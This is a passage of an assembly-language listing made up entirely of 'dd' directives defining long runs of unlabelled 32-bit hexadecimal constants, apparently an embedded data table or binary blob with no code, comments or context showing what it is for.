		dd 70104439h, 0D02925B8h, 5AA5BD47h, 0D78B815Ah, 0B8A23B64h
		dd 228216D3h, 0D4555037h, 38FFD8E1h, 0E5E71BCEh, 8ABB76B8h
		dd 65281642h, 0BAA4652Ch, 0EEDEF2B8h, 0EFE05E0Eh, 8A810234h
		dd 16818739h, 3769B02Dh, 3A043E25h, 0D6586118h,	0D7950F3Ah
		dd 0AC3D538h, 77E91309h, 70B05720h, 0BCACBBDEh,	5E08C127h
		dd 6CE9E1B9h, 0BB7C81E8h, 639A271Fh, 0BD97BF30h, 7BA53099h
		dd 0C7708718h, 0BD517574h, 83C94BE3h, 0D01AADC3h, 0CB43F855h
		dd 0E4296C97h, 0CF5DD4E2h, 42E98630h, 0D5976464h, 0C127C014h
		dd 5B2EE6EEh, 2C46C00Bh, 68135145h, 7B3039CCh, 4BFEF6B6h
		dd 0A9C0AECEh, 0FB353F7h, 8EBC0FDh, 0CE48CB27h,	0F3E14DCFh
		dd 9BC3FEC2h, 7A23CF0Ah, 2F3AB811h, 985FB023h, 0CB63EEA2h
		dd 49445012h, 0D0015809h, 78248253h, 0C26E7E0Fh, 0D009CE03h
		dd 48D4BF9Bh, 2730495Ch, 4435E90Ch, 555CE3DFh, 21A04B7Ch
		dd 411A9B5Dh, 2FB825E9h, 0CB5694D8h, 0F542AD3Ch, 928A6F7Fh
		dd 0BB7F8025h, 21007933h, 5C9EB87Ah, 2531384Bh,	0EC5C5BD8h
		dd 91D7E909h, 6093F245h, 94B4906Fh, 747B838Eh, 758309B7h
		dd 4EC20559h, 0E3EE778Ah, 0C7200B90h, 8AA29D36h, 0AA5E6331h
		dd 79C26840h, 5F0C3FBDh, 1DA2BF1Ah, 45712FD5h, 8BAAC4CCh
		dd 7B5227BDh, 7A750821h, 0EB02F224h, 0E17FD54Ch, 7B25D0FFh
		dd 51977D3Eh, 6F01D2FFh, 497CB68Ah, 0FD40BB69h,	51CD0BEEh
		dd 960B231Ch, 2FB36677h, 0CE793BB6h, 0D69F9A89h, 205C7144h
		dd 8241B134h, 0E6223AAFh, 6CDDB76Fh, 92DCF466h,	0D70112C1h
		dd 427FD5Ah, 0F3D116Ch,	0FF4A018Eh, 7422C639h, 0DCCAB92Fh
		dd 7F290041h, 0C8811564h, 4F2A5B68h, 1047DB6Ah,	0D499B47Eh
		dd 378EEF51h, 0C028344Fh, 440FCB61h, 0EED14312h, 0CC11F1FEh
		dd 315C465Ch, 5A253E09h, 0FF5364BFh, 892C5731h,	9255C62Ah
		dd 0E662902Ah, 0EDC5D550h, 1D39B209h, 289D8559h, 2DC0E9ADh
		dd 0CAB47F8h, 1AD0ED90h, 41E91E08h, 4F68DA25h, 7598A937h
		dd 4E025A58h, 2CBE31C5h, 0D22F6889h, 8913D108h,	165796A5h
		dd 55A889BEh, 1642F96Bh, 80AEEDD1h, 3A23C8B2h, 9F4A147Fh
		dd 52AC9307h, 0C6800350h, 5FF6E60Ch, 43EE8CCh, 81E94504h
		dd 0BD6E32B1h, 61888415h, 44D9BB00h, 0D6F42B33h, 0AD60A592h
		dd 266D75F6h, 41687F1Ah, 2B3E6110h, 18F912C5h, 0B285E9E0h
		dd 9493369Dh, 0DB7E273Bh, 0AA19E986h, 7FB2017Ah, 0CA80DAF6h
		dd 0D4D2D58Dh, 85196C2h, 0CF5897DEh, 881CA8E9h,	4E593F4h
		dd 7638945h, 4672C109h,	0BCCCF78Fh, 7861E5F4h, 3FCBE22h
		dd 3DF58B9Fh, 0A0DDF3A7h, 0D038EB0Eh, 0FBA148EAh, 0D317F61Ch
		dd 7F80413h, 0D620FC1Ch, 587812A9h, 7E494BC8h, 0F71A873Bh
		dd 49C009D5h, 0E1D91E1h, 5DAE08BFh, 5B99383Ah, 3F3762EFh
		dd 7A5D03E9h, 611CD2C1h, 8217CA36h, 52DBCC16h, 4FA79B4Ah
		dd 0ABD5455Ah, 869DEA77h, 17FE7020h, 0C649034h,	31327E45h
		dd 0D924CF77h, 3B40824Dh, 353A4B5Eh, 0A086D089h, 44EC43D1h
		dd 0EE73CA63h, 85E8B179h, 310CA02Ah, 0E986D49Eh, 9F26D033h
		dd 7C4B2D60h, 892E549Ah, 5269C475h, 0A4849D05h,	0E50EA8DDh
		dd 0A6C5CCBAh, 4838053Ch, 4B2B0782h, 0BFF1684Ah, 23F139C7h
		dd 0F8336C30h, 0E93F2C77h, 0D1A024E7h, 637EEA30h, 4E239A54h
		dd 5D66A1CDh, 0CD2D21E6h, 162F2638h, 0B9077A0h,	184DF7E7h
		dd 0EB57567Bh, 625440E9h, 9ABCE180h, 391C4C6Ah,	0C4B4DD2Fh
		dd 598FB22Dh, 0E57D523Fh, 0EC5FA5BFh, 685709B6h, 68F1196Ah
		dd 4903AA87h, 0C42D5820h, 0A3093FD8h, 8CE9C709h, 0C1FEFB21h
		dd 0E806E1C0h, 0A69AE511h, 0B33060F7h, 7E88989Eh, 0F18100F2h
		dd 41C75F26h, 0DF509AF6h, 509980Bh, 70310D79h, 60CE2594h
		dd 4052FD54h, 974154D9h, 5C4E0E18h, 0BE0121E4h,	6E72C54Ch
		dd 9621EE29h, 0F110C43Ah, 0FEA86A88h, 0C44FBE4h, 44ABE881h
		dd 0F8EB4BBh, 0A5748454h, 0BFF874AEh, 0F0C474E9h, 78C9F25Eh
		dd 8F429D29h, 4AE1800Ch, 0C3EFD18Dh, 1A422D78h,	0FBFF0A12h
		dd 9602861h, 2A012E56h,	2022585Fh, 5E767078h, 19AC349h
		dd 9B0152BBh, 0A22F091Ch, 6D9332F5h, 9BE8775Dh,	440EC1E1h
		dd 0BD4174F0h, 685608C0h, 48DD7845h, 0EF4BD4F9h, 0B705E746h
		dd 1FC302F5h, 1578462h,	44BD8D41h, 90B78208h, 0F4D23CDCh
		dd 68518038h, 3E39673Ch
		dd 5B0595Ch, 4A664FFAh,	9841E683h, 0A0292BB3h, 22205A1h
		dd 0E9309C55h, 0ED51E7F4h, 0D0F28100h, 2E62504Ah, 0CA2CD529h
		dd 71E80EFBh, 0FD54662Ch, 172B731Fh, 6012CE01h,	11707A8Eh
		dd 0C119137Eh, 73C0FB50h, 60BD18B8h, 1F5D1C3Dh,	0C6F86DF1h
		dd 62D0DA09h, 9A72633Ah, 8B7061E9h, 453F04Ch, 44B2268h
		dd 4B2CAA26h, 74D301CBh, 0F2E96532h, 0AFC556AEh, 3BE92D4Bh
		dd 139EA740h, 0B113307Ah, 8DC930E7h, 8940B64Fh,	7F17790Dh
		dd 8C0201B9h, 0D929A8C4h, 41FB2B5Bh, 0DD776827h, 860C8271h
		dd 0E170F604h, 4493F444h, 0B272FA56h, 693356FEh, 0E067B104h
		dd 0A709BF60h, 7837786Ch, 4A1F9048h, 8178F0FFh,	2C40CF04h
		dd 0C780781Fh, 67703C0Ah, 0A7480C02h, 0EB028869h, 570FF503h
		dd 0C1052CF6h, 81822158h, 277E5EE5h, 8CC2D154h,	9205002Fh
		dd 6F0AAA31h, 72DE801h,	534AC528h, 179F67F2h, 0B8A1E0AEh
		dd 56C5200h, 45AC2D5Ah,	0A6B751Ch, 0FC62AC7h, 202B00B1h
		dd 92E96709h, 0FB2D644Ah, 0E917F83Ch, 0ABFAC58Bh, 0C940D03Dh
		dd 905E3FB0h, 8BB12DC0h, 20F2B5C6h, 0C0CB4F58h,	38A793BEh
		dd 0CB295F97h, 0F2312CF1h, 0D2F7D686h, 194C808h, 7F3C7FBBh
		dd 0EE30A81Ch, 0EBB3C303h, 2FF72168h, 0F3C3457Eh, 4978C4CCh
		dd 0A7E209EFh, 583071F5h, 565C5A54h, 3EAA505Eh,	2F8D0E5Ch
		dd 343B7D83h, 624AF8E2h, 0DA80DC57h, 914795Dh, 0D56066Ch
		dd 0A676273h, 241F729h,	0DE5DC269h, 227F5ABBh, 7D6DEB64h
		dd 440FE482h, 0EE815CF9h, 124B2CD8h, 235D0C82h,	0CE76712Bh
		dd 0CD108A0h, 10464214h, 0D10933FAh, 0E48450EAh, 775A09EFh
		dd 0F6B5C994h, 49FAA586h, 2AEDBA02h, 7CC1105Dh,	0B4300DE4h
		dd 296F3040h, 4B27714Eh, 0D59B23E2h, 8AD12E22h,	121B9A0Ch
		dd 530E1D25h, 88F56912h, 255CAE78h, 0E3A59477h,	95104A30h
		dd 8EA07AE5h, 8EA084BCh, 0F36FE916h, 953088EFh,	78A84749h
		dd 3EB24B00h, 2156FE25h, 322D0077h, 0F7378E31h,	0FD0F35D8h
		dd 814AC942h, 0CAFBEB61h, 4A43F521h, 0CBFE8587h, 0CB9D50C3h
		dd 32AF7113h, 5D1D6C01h, 0E2E7011h, 576BF749h, 0DFAD92FDh
		dd 0BA0187D2h, 1DBE0778h, 8EF0D589h, 81709EA9h,	3614A8F5h
		dd 4AAD6D6Dh, 0BA52B190h, 0F34C1E38h, 965EC905h, 290222FAh
		dd 0C1047343h, 4F58E0E6h, 310EA0B6h, 5FB73045h,	0E31F48A0h
		dd 0E9431C05h, 0F4FBF8A7h, 2D256860h, 55F51A4Dh, 569513F9h
		dd 6A1393CEh, 0B40BBBD5h, 8867793Ah, 0B8012B7Eh, 674A63A0h
		dd 78EC66Ah, 0F10946E8h, 6250F885h, 0F7780988h,	7375B209h
		dd 0B3A53D6Dh, 0FE770E75h, 0A16D5525h, 1A07FC25h, 73628F5Ch
		dd 0B04FB355h, 12E3E48Ch, 0BEB313Dh, 0F5364093h, 13E10C40h
		dd 0A38799E9h, 0A073100Bh, 7E5E5E4Fh, 5F2269B2h, 3E881282h
		dd 9D756EDDh, 420C2D53h, 0AF7995Ah, 8006BCAFh, 2BDD279Fh
		dd 5C2B0097h, 3F118D0Dh, 21969748h, 7A49E98h, 9A291FBBh
		dd 0F9AB3127h, 0CB1A8978h, 410CC8DFh, 5F11174Eh, 1205E231h
		dd 0A9CFA35h, 273D3868h, 7771FE4Ah, 1A220DE9h, 0D7BCC23Fh
		dd 0BEC41993h, 414F3128h, 0BCC2D29Eh, 0D4165184h, 0FF90ABEFh
		dd 7DEA834Ah, 0A85F25FFh, 0F0AF587Bh, 0DFFA1621h, 7B81EF63h
		dd 7DA56139h, 7189216Ah, 3ADF5102h, 0C0176277h,	2E0E1959h
		dd 0B0A07ECh, 2F24CC8Ch, 7F9FA188h, 0D810FD2Ah,	0BABF005Eh
		dd 0BB48DF2Dh, 62D21F63h, 8517CBEAh, 9C384668h,	0D5D37950h
		dd 0E5E2D454h, 7269BCC1h, 0BD531652h, 5F0F7564h, 0D19480A9h
		dd 0C32583EBh, 0B95C9801h, 0CF7E1FC0h, 2DCB1366h, 43A42F3Fh
		dd 715E168Dh, 418FF83Eh, 31E22E07h, 0ADE942C2h,	0EF5FD1A5h
		dd 0BD55F138h, 2B03E9ECh, 15A9F46h, 0CECC04EFh,	0FC731B69h
		dd 0FA412F1Dh, 0A871EFFBh, 3F6D52ECh, 1B930D23h, 67741ABh
		dd 8776C53Bh, 4C24215Ch, 157580E9h, 977ADE54h, 3B2A4978h
		dd 0CF129BAFh, 16124759h, 0D1AE7504h, 8A89AE12h, 14B76060h
		dd 0ED138D4Eh, 5291B210h, 59FC1323h, 0D9AE5635h, 3ACEFD0Bh
		dd 0CAEB2F13h, 587716CFh, 0BCAA2134h, 6D29B9A9h, 116DFB07h
		dd 5F516269h, 498AF96h,	0DA40683Dh, 5F09C9B3h, 46BACBE9h
		dd 0EF49986Ah, 81DC705Bh, 61EEF606h, 4606F14h, 8731BDB9h
		dd 0E32B8025h, 0D455EAD6h, 2A9AE19Fh, 462C5307h, 0A504D803h
		dd 5A0921BEh, 0D0E86E09h, 25789130h, 0C02876B9h, 0FC31A87Dh
		dd 0DBF6164Bh, 95372070h, 0BB14EF24h, 22E9892Ch, 9C8053C7h
		dd 0EDF519B7h, 51B44C98h, 209A5462h, 0BE37ABCh,	5DFCFF7h
		dd 984E70FAh, 776B2187h, 27200668h, 0D458D427h,	39722615h
		dd 3D05FDD8h, 16BEA64h,	0E9C2E78Ch, 0B3F845ECh,	91277A33h
		dd 0E70F7EB7h, 0AB75C456h, 88382F17h, 0E80DD602h, 0DD36351Fh
		dd 7BE5A2BAh, 31281E34h, 2DECE1C3h, 0D476C667h,	8F42BCA4h
		dd 1F3D770h, 35095212h,	0D5D15D82h, 5D525C16h, 15C61EBAh
		dd 2024C258h, 994E434Eh, 0AC5E0B87h, 18646F62h,	83805718h
		dd 0CF8EC0C7h, 2B252A28h, 19B9F3FCh, 3AFD6801h,	91607A08h
		dd 0D1E73CEEh, 609A24ACh, 550A6912h, 64A1017Fh,	0EF56C35h
		dd 4125F2BDh, 0EE895623h, 4DFDF1C9h, 0A1AE532Eh, 5129F0E3h
		dd 585E6502h, 62699B05h, 3ED2400Eh, 5B771E20h, 0A631D568h
		dd 8F72D02Eh, 4A41A2Dh,	0D44F8462h, 0F8CBFE85h,	1B70307Fh
		dd 39F28012h, 12CAFE3Dh, 0AC348EC1h, 102CAB0h, 80542D3h
		dd 3CBD2CFDh, 1F4310F3h, 0FAE22813h, 2CDCEB2Dh,	3DD4E41Ch
		dd 0B5F4D028h, 0C1F539D8h, 35A27EE8h, 860A4DEh,	0BD013BCEh
		dd 46BBCDEEh, 50ECFD3Bh, 81F2035Dh, 64094FE8h, 43F761F2h
		dd 2463B0E9h, 96FE9720h, 6A08FE13h, 75680565h, 0E3DDF435h
		dd 72A40082h, 0BD3EAC32h, 42DCF711h, 98F6CACh, 962C2982h
		dd 9918F640h, 168B35B4h, 4968C548h, 68596F10h, 837EBF31h
		dd 0BB05B939h, 0AE62D821h, 1660A62Fh, 0DCCC6D53h, 31945B96h
		dd 0E046D6h, 4AB26850h,	0AC3C3066h, 2715A265h, 4FF17DE9h
		dd 9C4402B0h, 0C3804142h, 170697A6h, 77EA5DFFh,	2FE9B206h
		dd 4AADEBD5h, 2C1A8052h, 0D34F0AA7h, 7F2101FBh,	7E657D22h
		dd 0AA2D9828h, 4610770Eh, 0E916C831h, 0B6B98912h, 125AB512h
		dd 28F22C06h, 0CA2CF03Fh, 659D8EBAh, 0C0AA2853h, 0D7F609B2h
		dd 80CFFE07h, 0F80473EFh, 4FBE8E81h, 5D85AB14h,	13469BBEh
		dd 708D90A2h, 0F0441488h, 78FA702Dh, 84432635h,	0A459173Ch
		dd 74131B60h, 79B04FA6h, 0B89F881h, 0D3F74319h,	12A51604h
		dd 3ED28DBEh, 0E90D40F9h, 7B227B80h, 5F2FFFCh, 247BEFD5h
		dd 89A02B6h, 27F5D03h, 0D563E960h, 0AFCDD921h, 0D5317Eh
		dd 5EE009E2h, 0C02D9903h, 0A87B263Bh, 4A662904h, 726E169h
		dd 26115A07h, 0A0B81271h, 0E2ED3129h, 5762BAF6h, 8AEA5D68h
		dd 64AC1CF1h, 2768C83Dh, 0A0E1D648h, 4F4FEA08h,	4C62BAB7h
		dd 0D0FF40D3h, 91AC4F5h, 6BE0EFEAh, 582B24CAh, 2DBD28B6h
		dd 12F49D15h, 68859FEFh, 30EA41C1h, 0E3741590h,	27B2184Ch
		dd 32070DEh, 0E279B95Bh, 94044A1Ah, 231324D6h, 1470D4FEh
		dd 0B18EBC08h, 28C8EB53h, 8C1B4AF0h, 5B5FD88Bh,	2715A4FCh
		dd 68174C95h, 3632BAF2h, 0CACC8654h, 181098F9h,	64471FA9h
		dd 0BA80A35Bh, 0E2B91714h, 0E30AFFE0h, 794B3692h, 48670908h
		dd 7BBDBC7Dh, 0EB259350h, 45D5E732h, 0BBC516EAh, 0E62BAA29h
		dd 0A38F4460h, 0C9D1B960h
		dd 0B01422E5h, 0D1F10402h, 0A8D371E6h, 55B91972h, 0F33E5D58h
		dd 6C257CD9h, 681410EFh, 0AB7349C8h, 0CC56A62Dh, 1BE65F6Bh
		dd 0FEE95C5Eh, 0A2E61E85h, 96EED6DEh, 4A9516E6h, 5D71C215h
		dd 0CE5E5709h, 20118F59h, 0CF4B32EAh, 84716980h, 0C3EB9F32h
		dd 0E9A9C7E2h, 12BB38E2h, 93FC515Ah, 0CD3DBFACh, 0C12C8717h
		dd 0EF3203E7h, 9C8DE108h, 273AAAC0h, 0C6F81AE9h, 444F3194h
		dd 21611C7h, 0D60A2DB5h, 0FA00F8DEh, 0E9C010E2h, 0B4C99CFh
		dd 0A3061AEh, 1F077335h, 0E9CF2107h, 64B7166h, 5F0DBCEFh
		dd 31FE0C78h, 0F765DE27h, 34080688h, 0E914020Ch, 5BDF952Dh
		dd 0E7C295C5h, 2D43814Eh, 0B9657A9Eh, 55251FA8h, 754E7D16h
		dd 0E9847784h, 0B4F9E9AAh, 0B05015A4h, 6007206Ah, 766F5A4Ch
		dd 0C2298617h, 3516C1FEh, 0E1BD3FC9h, 0AE268A0h, 0E67D989Fh
		dd 15815DE9h, 0D9D6311Dh, 0FA08D73Bh, 0D32027D2h, 0FAB84EC6h
		dd 19AB7212h, 6A939287h, 0F44D151Dh, 0DA6F0A51h, 0F72927A2h
		dd 0B45D73B2h, 4769DCAh, 9F0677C0h, 162982Bh, 5C49741Ch
		dd 4D728668h, 7B4A3BFBh, 7FA584C4h, 4034BE14h, 1EAE322Ch
		dd 79AA0BE7h, 0B60545A1h, 97296A3Dh, 749268F4h,	0C95E5E6Ah
		dd 506A9FFAh, 0BF32B88Fh, 5509BF9Ah, 6F0BF3DCh,	0EF987714h
		dd 0CCBDC4CDh, 205A2278h, 80174CDEh, 1AD44FBh, 74BF0BB4h
		dd 8425BD6Ch, 0BA121055h, 4A170020h, 68B85049h,	184C0774h
		dd 40CC4CCCh, 17107698h, 0E8076799h, 524E30BAh,	0FBF5FD11h
		dd 0D5B681F6h, 0ED07C680h, 46E3C2C1h, 4E43CBA5h, 0D4EFDE83h
		dd 93DAF7ECh, 18E4CB06h, 6F44D19Dh, 0B45E08E5h,	0E1E14B49h
		dd 30AC6163h, 9C25F710h, 0D8630B89h, 6E3B203Eh,	0F9DF5D4Fh
		dd 8DC95F58h, 395EE541h, 844C1C1Bh, 0F7332738h,	4A759E32h
		dd 0CEDC84B7h, 0FCC61FEh, 4AE90C6Eh, 0FAD812ABh, 0E1EEC505h
		dd 4FDE0BFCh, 0F7CA01F6h, 15688798h, 1E7D0B7Ah,	20F1B7FDh
		dd 0BEB03E65h, 9FEBBF21h, 88A01F3h, 1F353960h, 0FBF2D17Ch
		dd 18081CD0h, 0E98B0331h, 0A4BC5B02h, 14DDF786h, 750A1E6Eh
		dd 0AEABCA56h, 26DFEF80h, 972923BBh, 0AA68B6C8h, 0D25D5353h
		dd 0BFAF7EBh, 0DF5820E9h, 81DF59EAh, 2E72AF48h,	0BF19122Bh
		dd 84AB7464h, 2AB2EF24h, 7B474978h, 843C1667h, 30C5A125h
		dd 0D0CCBACh, 0C267C45h, 477714C0h, 1E048A34h, 0C44B74EAh
		dd 56C762D7h, 79CC3040h, 573E9825h, 9411A5EAh, 0F1042A92h
		dd 99C2E821h, 0B71747Bh, 280831B1h, 6EC103E8h, 97FACA28h
		dd 4AF64678h, 0DBC13EF3h, 8C7EA3EFh, 400B0BB3h,	4C5B52CDh
		dd 9EC20483h, 0C27FC37Ah, 50218332h, 0B6E576B4h, 0BAFE173Bh
		dd 0D051C662h, 68AD0B41h, 0A1665A33h, 4B3C6A0Ah, 0C0BB236h
		dd 0FF870BF0h, 4A60AE5h, 0EB028811h, 0D5A1AF6Bh, 5DE1E2DFh
		dd 0C680505Eh, 5748084Ch, 0D3DB75E9h, 0E4E1EC3Ah, 5F80A2AFh
		dd 968A7B87h, 0DE09021Eh, 0FC4CF5E7h, 9663D69Dh, 269FBD6Ah
		dd 0F01D4A52h, 89653405h, 646FAF05h, 13CBB2AAh,	0F4B36DC9h
		dd 42388B58h, 9A69EB4Bh, 45C3ED3Ah, 821A6BE4h, 2006FE56h
		dd 41CD00D1h, 66058C4Bh, 651D567Bh, 0F05D512Dh,	94D0290Fh
		dd 0D9E91707h, 5D57DD4Fh, 16700BCBh, 25CFB369h,	92158FF4h
		dd 90EC73DCh, 40AE695Eh, 7E44D036h, 0CE7E3164h,	7CB78890h
		dd 138ACAF1h, 5E95823Dh, 96870241h, 0EBECD75h, 0F9615D67h
		dd 285F4968h, 205BCCF7h, 6EE39F16h, 0E9668F0h, 17E198ACh
		dd 78E93180h, 30B9194h,	193F710Ch, 7AF854D9h, 0AED806E9h
		dd 0B7A933B2h, 391E83CAh, 0E92F7947h, 0FA64C50Fh, 0B4D64FAh
		dd 0DEA52F5h, 2EEB3F55h, 0E56244BFh, 5BD8474Dh,	958F1086h
		dd 687A80F5h, 137812CEh, 455D25h, 87ED353Ch, 0EE4889DAh
		dd 0AD8F2AD6h, 0C90E56BFh, 0F9A7C6F6h, 273E2895h, 5172E672h
		dd 6A60A5EEh, 0EB132DCCh, 21CF167Ah, 1F8365C3h,	0FC26807Ch
		dd 0A6B9E91Dh, 5B5D3EC9h, 4FF72578h, 55E7A04Bh,	0BD30B46Dh
		dd 54B2DB7h, 0FE979858h, 7F91502Bh, 0EF48A0B7h,	9022D34Bh
		dd 9CBD4ECh, 5339E412h,	0EA45900Fh, 2EE5BB2Ah, 5B95B821h
		dd 4BCB2500h, 0D717BD26h, 0C60A5402h, 96E35F2Ah, 3D58C199h
		dd 858C25A8h, 69EE5EDFh, 0B9D08E25h, 7C3F65EAh,	6A4391FBh
		dd 42869CBh, 0D85FFEDEh, 0F43004EAh, 0F522FF1Ah, 8552DDEDh
		dd 10256101h, 3E5C165h,	0B02EEF40h, 0C54E5F23h,	21E0AF27h
		dd 51B05D6h, 0F0A2E949h, 3BF868A2h, 0C9C551B7h,	51ECBE1h
		dd 36D62101h, 17202633h, 418B6296h, 9BFD6422h, 510290BDh
		dd 0D7F72C21h, 0EC8513EFh, 8704924Bh, 5314771Ch, 0FA02132Dh
		dd 1240E2C1h, 7B17BBEAh, 2A942C0h, 14093C0Eh, 4682ABF3h
		dd 4F5C5EC7h, 0F55BC861h, 25B96037h, 7941A413h,	0DA055AC2h
		dd 6669F5Bh, 0B42A8341h, 0EBA80DEBh, 283E9F2Ch,	3298F4C8h
		dd 5E769E27h, 0E93A5EF9h, 6D985555h, 4C1F120Ah,	1921F2AFh
		dd 5222883Ch, 0A02B6265h, 2177E9D5h, 29EE1495h,	0CFC843F9h
		dd 991F25A4h, 28B57F1Dh, 0E281631h, 5816533Bh, 8BDEACEAh
		dd 0D57074Ah, 0E6AC83C5h, 628FE5Eh, 744B5AC6h, 7D60FF2Ch
		dd 5B9573D6h, 0DF50BB0Eh, 0C5156AD1h, 694F2402h, 55456254h
		dd 95D5E989h, 45A9A0CAh, 6DF22F02h, 0B45C26C4h,	5725FA51h
		dd 3B2CFE08h, 222D3C98h, 42827FD6h, 8A718001h, 0FA453E62h
		dd 235C4F49h, 0ED9ED377h, 2E835045h, 0F5A3FD88h, 0E45587DAh
		dd 6E180225h, 0D189304Ch, 969FF76h, 3FE78575h, 77BD060h
		dd 0C73E4E52h, 0F8243C42h, 0DCB70D70h, 0A45C641Dh, 5E5FC49Ch
		dd 4050DB8Ch, 4F2768AAh, 8201872h, 4B7970B7h, 6E1729D7h
		dd 8580FD22h, 0A9C2DD97h, 0D231046Fh, 565D297Fh, 0BA52E286h
		dd 34D50110h, 60D30EE9h, 3CE680FFh, 2D02F6E6h, 66685B2Ch
		dd 0B03F4669h, 599AA1E9h, 3B20F0CDh, 48DCB5C6h,	0A98C02E2h
		dd 46E2DD2Dh, 69DFF9DDh, 300CDEF9h, 1C09E35Dh, 0A731594Ah
		dd 6E1E4678h, 24A6C611h, 0A472FC08h, 68580255h,	0E1CC2AEBh
		dd 0AE14EF09h, 5833F04Ah, 8C129D21h, 56F4C8E3h,	4847680Eh
		dd 0A89BF73h, 6201F169h, 18DFB131h, 956348E1h, 0DEC9CF79h
		dd 40600491h, 0EF939036h, 1F3B705Fh, 0AE057D44h, 2985A02Eh
		dd 182DA2AEh, 0AEF1785Ah, 70C7275Eh, 562E0DA2h,	0CCACE094h
		dd 894B91A1h, 0DA77503Dh, 0A0736235h, 4B530959h, 39AC1C00h
		dd 0F203052Bh, 495C9FD9h, 23EEE906h, 0C7C1046Bh, 0EE31BEAAh
		dd 0C1AE6813h, 449B4F5h, 0C521C1B1h, 60EAE930h,	0A6BC0C0Ch
		dd 0E916F395h, 0DBBD6D9Ah, 0A3547217h, 1B8D2E28h, 819EFDADh
		dd 899B7930h, 1845FAEBh, 0E4B3C7Fh, 0E40B8455h,	9D889C9h
		dd 5692E160h, 0FBF2320h, 4B3D1F47h, 415782A5h, 9652FD89h
		dd 50F36019h, 8C7B0141h, 8C0E2DF2h, 0A345DA66h,	0B90B6A79h
		dd 52A2C801h, 25A8B008h, 0A8755751h, 5005F37Eh,	0A7804031h
		dd 0A9E2535h, 2DF80134h, 5E9A2D07h, 38F13EC0h, 817B6E0Fh
		dd 0C105C3CEh, 0BCEEB03Fh, 52F61DF0h, 0AE5E1431h, 97BBF780h
		dd 892E982Fh, 0E52F2EFBh, 6D299F25h, 77241AF7h,	0E9C18545h
		dd 0ED6A96C3h, 70948A9h, 1F541AD7h, 9008CBEEh, 5F7ED5Dh
		dd 11198F5h, 43C6C2E8h,	90284845h, 8059C75Ch, 0FC49C69Fh
		dd 89E89129h, 56E6837Eh, 0D184732Ah, 63EC2288h,	59607782h
		dd 69F460F5h, 210E5096h, 0FC94E6DAh, 9EBE0922h,	0D3555464h
		dd 0AB48BC55h, 2AC8EC5Bh
		dd 8298D617h, 53401B0Bh, 2BCFDD4Fh, 82B25125h, 4A2B278Ch
		dd 26CC1C57h, 4307C201h, 6B057253h, 0AD3820C7h,	0B80557A8h
		dd 0BBE87775h, 0AB3E700Bh, 7F6ADD02h, 6594580h,	0E9187283h
		dd 0E6475C34h, 0D73A2C09h, 0F1D208DAh, 5B212D3Fh, 5CB597C2h
		dd 4D00433h, 2FE3BA2Ch,	0A06BE985h, 0DD1AB8C2h,	629483A0h
		dd 21E95556h, 586C2D87h, 162C5AB2h, 7D2DB0EFh, 1229DC5h
		dd 0D7098621h, 385E9AD8h, 8655B609h, 5398DA4h, 4A600FC2h
		dd 30F7C133h, 96D02B88h, 488D313Bh, 0A000762Ah,	0E9447767h
		dd 25924A65h, 36EFC280h, 81002D72h, 923CABCDh, 615EE93Dh
		dd 0EF2124B5h, 0A0288E5Dh, 31370645h, 0E6529D12h, 56C1F51Dh
		dd 0F50B3917h, 17CC4E5Ah, 8C40DF68h, 3D5FF11Bh,	0D27E9988h
		dd 0FC1BE32h, 0BA25636Dh, 6B2AE87Eh, 6229D5C6h,	0A1714657h
		dd 3E730594h, 0C8D1EE4Eh, 0A13A6855h, 0A8E66F6Ah, 7F515DCBh
		dd 0D996E9E1h, 9938EE35h, 1DFAA85Ah, 6ED980EDh,	0CBF43406h
		dd 9AB96AE9h, 63DF0239h, 59542CADh, 2F6A652Dh, 0A84115D1h
		dd 31CD559Ah, 0C355007Eh, 32D71B0Ch, 0A236ABDh,	79258E08h
		dd 3047C2D9h, 250C7CCh,	85403E0Dh, 42DC9F01h, 184A864Fh
		dd 0FBDE4E19h, 0E90BA3CBh, 4A5E9A27h, 7E612D80h, 0A15F6577h
		dd 0F4F7C2BAh, 26049AEBh, 8C086221h, 0F8C2626h,	933C06EBh
		dd 1E6020EDh, 0F7B8423h, 21818F27h, 866360DDh, 1A073E28h
		dd 0F0125337h, 0F9549FE9h, 0DE891327h, 30F871B2h, 2D01F048h
		dd 3FE045DBh, 0B5EB685Eh, 69828D37h, 0E16B2531h, 1E4B7920h
		dd 4CCCB8B5h, 4A0116CDh, 25E4E6F9h, 5DF4C2C7h, 0D7270ECFh
		dd 0E918609Ch, 0C57B25A3h, 62588145h, 5421D634h, 0B2798CAAh
		dd 0AA487E85h, 4FF10031h, 4853ED34h, 0E9C2737Ch, 7EDB8A33h
		dd 0AD7C183Dh, 139BF1BFh, 0F14BCF6Ah, 7DC23E26h, 0BBE8542h
		dd 0E9612087h, 2032D3F8h, 62736D04h, 0CA4EC061h, 0C0B77265h
		dd 3E0A0BCBh, 0F3281114h, 73272D8Eh, 100937F6h,	7CA7F205h
		dd 1A952C59h, 74F80071h, 77E93361h, 0C2A57F67h,	0DD065672h
		dd 0B79A159Bh, 0FF4293FFh, 85555B93h, 2A8D99EBh, 9234A3A0h
		dd 4EAF9053h, 0D791B816h, 9F5CC1EEh, 0E1D5DA57h, 29EE0638h
		dd 36245F7Bh, 8CADFF4Bh, 460F7437h, 14EB2E44h, 0E5AB096Ch
		dd 0CA526225h, 0BF5A722Eh, 744D3C2h, 75396247h,	880FE5C5h
		dd 9607A7F8h, 73C67F09h, 0DABA0CD6h, 86E34BD9h,	0BBA9BC89h
		dd 5F25DB50h, 3FE07993h, 4F86D696h, 0C14BD1BEh,	70AE9375h
		dd 0ADE99D41h, 69143F91h, 41532458h, 545756C0h,	0FC68125Fh
		dd 6CCBCC7Eh, 2B533200h, 0E025D0F7h, 2052030Dh,	234BF035h
		dd 18A850BFh, 0DCF4413Dh, 4C1E5E02h, 6C6F9E68h,	1B280B5Ah
		dd 165E185Dh, 770EEB01h, 0A06EAD0Fh, 0DD694968h, 0C791018Fh
		dd 0BAD85251h, 305A7AFCh, 0F21AD2F7h, 4AF84149h, 0F4CA0EC3h
		dd 590B104Fh, 0DEEA0F48h, 4EFF2BEh, 3571DE6h, 0E92DA0B8h
		dd 9DD14847h, 47C20DADh, 4A89EC55h, 0B2AB1787h,	0EEF5F4CBh
		dd 97DF7430h, 8F7CBE8Bh, 33305179h, 0B9548263h,	927F4725h
		dd 4FB6EA52h, 0DA88EE0Fh, 7D049112h, 85B90026h,	704E1228h
		dd 0D8E60049h, 96B1555h, 0D15FF912h, 19C92400h,	0B6111C71h
		dd 7D550C31h, 6213BC3Dh, 1B010731h, 2C4D03D0h, 468C630h
